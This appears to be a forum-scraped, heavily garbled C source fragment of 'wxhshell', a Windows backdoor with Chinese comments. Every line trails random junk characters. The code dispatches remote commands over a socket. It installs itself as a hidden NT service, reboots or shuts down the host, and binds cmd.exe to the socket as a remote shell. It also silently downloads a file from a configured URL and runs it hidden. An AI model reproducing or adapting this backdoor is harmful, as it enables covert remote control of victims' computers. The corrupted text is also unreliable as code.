Yv`1ySR  
    switch(cmd[0]) { ]H@uuPT!  
  (Gb{ckzs  
  // 帮助 Q,LWZw~"  
  case '?': { '&L   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [>QsMUvak  
    break; cF>;f(X  
  } XzRWY\x  
  // 安装 N 7|W.(  
  case 'i': { MyR\_)P?  
    if(Install()) <P)%Ms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); orN2(:Ct7  
    else FU3IK3}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <8}9s9Nk  
    break; 7!d<>_oH  
    } 6b 5{  
  // 卸载 ^L2Zo'y [  
  case 'r': { ="PywZ  
    if(Uninstall()) hFF&(t2{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0~I) /T  
    else }t{^*(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=f5:8D<-  
    break; 9bYHb'70  
    } Boz_*l|  
  // 显示 wxhshell 所在路径 6(;[ov1  
  case 'p': { p<.!::*%(  
    char svExeFile[MAX_PATH]; OaVL NA^{  
    strcpy(svExeFile,"\n\r"); <@2?2l+`X  
      strcat(svExeFile,ExeFile); _rWXcK3cjr  
        send(wsh,svExeFile,strlen(svExeFile),0); tbt9V2U:"n  
    break; _3?xIT  
    } :zTj"P>"I  
  // 重启 H H7 gT  
  case 'b': { cyn]>1ZM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gl\RAmdc  
    if(Boot(REBOOT)) 3uiitjA]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <L[)P{jn?p  
    else { $TUC?e9"h  
    closesocket(wsh); w@D@,q'x  
    ExitThread(0); >}`1'su  
    } }T(q"Vf~  
    break; Ts *'f  
    } 6 v#sq  
  // 关机 ':fbf7EL<  
  case 'd': { qdnNapWnc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nFOG=>c}  
    if(Boot(SHUTDOWN)) l%V}'6T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTa23YDW  
    else { ]-]@=qYu  
    closesocket(wsh); 206jeH9  
    ExitThread(0); 1>*<K/\qg  
    } &?6 ~v  
    break; j7%%/%$o[  
    } trA `l/  
  // 获取shell Y{B_OoTun  
  case 's': { ;5S7_p2]j  
    CmdShell(wsh); SVeU7Q6-  
    closesocket(wsh); = ft$j  
    ExitThread(0); w4/)r-Z4I  
    break; B#lj8I^|  
  } DD3yl\#,  
  // 退出 Fgq*3t  
  case 'x': { $e,!fB;B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x=<>%m5R  
    CloseIt(wsh); !,WRXE&j  
    break; n_ gB#L$  
    } gI$`d?[0{  
  // 离开 z?g4^0e  
  case 'q': { ^E,Uc K;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "s^@PzQpN  
    closesocket(wsh); ;^SgV   
    WSACleanup(); 3W00,f^9  
    exit(1); 0To 5|r  
    break; LA3,e (e  
        } T"lqPbK  
  } rW .0_*  
  } %6?}gc_  
P?-44m#  
  // 提示信息 e=$xn3)McY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)sz]g|d  
} I!@` _Q9N  
  } (8/xSOZ[  
|W[rywxx  
  return; LxGh *7K-  
} e/%Y ruzS  
rx) Q]  
// shell模块句柄 -B! TA0=oJ  
int CmdShell(SOCKET sock) k18V4ATE]  
{ vK/Z9wR*05  
STARTUPINFO si; U5s]dUs (  
ZeroMemory(&si,sizeof(si)); 'GT`% ck  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )^xmy6k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X~b+LG/  
PROCESS_INFORMATION ProcessInfo; 8hV:bz"  
char cmdline[]="cmd"; k!rz8S"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JB}h }nb  
  return 0; k}7)pJNj  
} 'v5gg2  
mSp7H!  
// 自身启动模式 <T9m.:l  
int StartFromService(void) G7xjW6^T  
{ k82LCV+6  
typedef struct eeZ9 w~<  
{ 7t/SZm  
  DWORD ExitStatus; RGOwm~a  
  DWORD PebBaseAddress; eHIC'b.  
  DWORD AffinityMask; <<6#Uz.1  
  DWORD BasePriority; WJ,ON-v  
  ULONG UniqueProcessId; =,9'O/br  
  ULONG InheritedFromUniqueProcessId; nQMN2jM  
}   PROCESS_BASIC_INFORMATION; -I<`!kH*  
o?\Pw9Y  
PROCNTQSIP NtQueryInformationProcess; l^Z~^.{y  
$RO=r90o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g DIB'Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fR{7780WZ  
s_ $@N!  
  HANDLE             hProcess; VNfx>&`  
  PROCESS_BASIC_INFORMATION pbi; h{9 pr  
JE!Xf}nEi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~<-h# B  
  if(NULL == hInst ) return 0; SJe;T  
Nzt1JHRS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SesO$=y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J>&GP#7}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4(](' [M  
HX^ P9jXT  
  if (!NtQueryInformationProcess) return 0; =2 5 "q Jr  
<ZEll[0L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1NJ|%+I  
  if(!hProcess) return 0; 'JVvL  
v.J#d>tvf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~KvCb3~X  
$'wl{D"  
  CloseHandle(hProcess); 7 |A,GH  
y+<HS]vyV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uLht;-`{n  
if(hProcess==NULL) return 0; r 6<}S(  
$tJJ >"  
HMODULE hMod; 2q bpjm  
char procName[255]; DO; 2)ZQ%  
unsigned long cbNeeded; 0>Nq$/!  
iddT.   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $cedO']  
v'=APl+_  
  CloseHandle(hProcess); )i>KgX  
:7zI!edu  
if(strstr(procName,"services")) return 1; // 以服务启动 64cmv}d_  
;2~Q97c0  
  return 0; // 注册表启动 ;DpK* A  
} pe-d7Ou P  
 -W ,b*U  
// 主模块 Dc2eY.  
int StartWxhshell(LPSTR lpCmdLine) 7085&\9  
{ J %t1T]y~  
  SOCKET wsl; jrR~V* :k  
BOOL val=TRUE; ycN_<  
  int port=0; N4 pA3~P  
  struct sockaddr_in door; a;sZNUSn  
?u|g2!{_  
  if(wscfg.ws_autoins) Install(); H'.d'OE:I  
AseY.0  
port=atoi(lpCmdLine); !ywc).]e  
#SmWF|/  
if(port<=0) port=wscfg.ws_port; -1:asM7  
W\ckt]'  
  WSADATA data; /r6DPR0\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lAQ&PPQ  
&R]G)f#w%*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g& Rk}/F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mdd~B2"el  
  door.sin_family = AF_INET; JB7]51WH@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &}ow-u9c3  
  door.sin_port = htons(port); /uWON4  
Nx"?'-3Hm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gu pKM%kM  
closesocket(wsl); xN]bRr  
return 1; TV}SKvu  
} bhRpYP%x  
[F$3mzx  
  if(listen(wsl,2) == INVALID_SOCKET) { -JK+{<  
closesocket(wsl); rm7UFMCR6i  
return 1; OR O~(%-(e  
} 4{_5z7ody  
  Wxhshell(wsl); %9K@`v-  
  WSACleanup(); $ uqlJG#`  
7gkHKdJoMA  
return 0; #"|Ey6&  
cVMTT]cj1  
} 3 V<8  
\a#2Wm  
// 以NT服务方式启动 8I'?9rt2M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bYz:gbs]4|  
{ MD,-<X)Qy  
DWORD   status = 0; `^/Q"zH  
  DWORD   specificError = 0xfffffff; U"Y$7~  
=J,:j[D(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z'm;H{xf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5BZ5Gl3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2WoB;=  
  serviceStatus.dwWin32ExitCode     = 0; '"&?u8u)  
  serviceStatus.dwServiceSpecificExitCode = 0; A8?>V%b[Y  
  serviceStatus.dwCheckPoint       = 0; \Z$*8z=  
  serviceStatus.dwWaitHint       = 0; n~h%K7 c  
@AwH?7(b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |7argk+  
  if (hServiceStatusHandle==0) return; AQ&;y&+QR  
Pz?O_@Ln  
status = GetLastError();  :JlJB  
  if (status!=NO_ERROR) *\/UT  
{ B?]^}r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `?)i/jko"  
    serviceStatus.dwCheckPoint       = 0; 1DX=\BWp  
    serviceStatus.dwWaitHint       = 0; #KIHq2:.4  
    serviceStatus.dwWin32ExitCode     = status; `c icjA@~  
    serviceStatus.dwServiceSpecificExitCode = specificError; b#b#r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l"+=z.l6;  
    return; 8L#sg^1V  
  } sG3%~  
{MHr]A}X\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '&`Zy pq  
  serviceStatus.dwCheckPoint       = 0; K \O,AE  
  serviceStatus.dwWaitHint       = 0; qnOAIP:0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0wx`y$~R  
} \Tc$P#  
S&a 44i  
// 处理NT服务事件,比如:启动、停止 g {00i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7"gy\_M  
{ t((0]j^  
switch(fdwControl) vm(% u!_P  
{ X/Ae-1!  
case SERVICE_CONTROL_STOP: :G!Kaa,r  
  serviceStatus.dwWin32ExitCode = 0; lHx$F ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]'"$qm:  
  serviceStatus.dwCheckPoint   = 0; (qaY,>je]D  
  serviceStatus.dwWaitHint     = 0; wm}i+ApK  
  { A >e%rx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "G< ^@v9  
  } )T^hyi$  
  return; `8L7pbS%,Q  
case SERVICE_CONTROL_PAUSE: {9z EnVfg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rn(T Z}  
  break; [u<1DR  
case SERVICE_CONTROL_CONTINUE: ? xy~N?N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q@2Smtu~c  
  break; )0NA*<Q+.  
case SERVICE_CONTROL_INTERROGATE: us/x.qPy2  
  break; n04Zji(F@  
}; $ED<:[3N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  3N;X|pa  
} _W$4Qn+f  
@6\8&(|  
// 标准应用程序主函数 -Z  @cj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]g:VvTJ;?  
{ -gzk,ymp  
.uhP (  
// 获取操作系统版本 n#4Ra+dD  
OsIsNt=GetOsVer(); +~7@K{6 q-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #SO9e.yhI  
y0Ag px  
  // 从命令行安装 K(hqDif*6  
  if(strpbrk(lpCmdLine,"iI")) Install(); R#oXQaBJ  
Nl1&na)K}  
  // 下载执行文件 P! :D2zSH_  
if(wscfg.ws_downexe) { ^)X^Pcx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *C$ W^u5h  
  WinExec(wscfg.ws_filenam,SW_HIDE); n]|[|Rf1  
} w* v%S   
=E{1QA0  
if(!OsIsNt) { QH+Oi&xH  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z(Xu>ap  
HideProc(); 5=l Ava#  
StartWxhshell(lpCmdLine); [&e}@!8O`  
} MwiT1sB~  
else #*5A]"k  
  if(StartFromService()) n:HF&j4C,  
  // 以服务方式启动 gQ& FO~cr  
  StartServiceCtrlDispatcher(DispatchTable); Tc{r}y[)  
else }y'KS:Jb  
  // 普通方式启动 @zE_fL  
  StartWxhshell(lpCmdLine); k kY*OA  
A!SHt7ysJ  
return 0; p=T]%k*^h#  
}
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只看该作者 1 发表于: 2006-10-10
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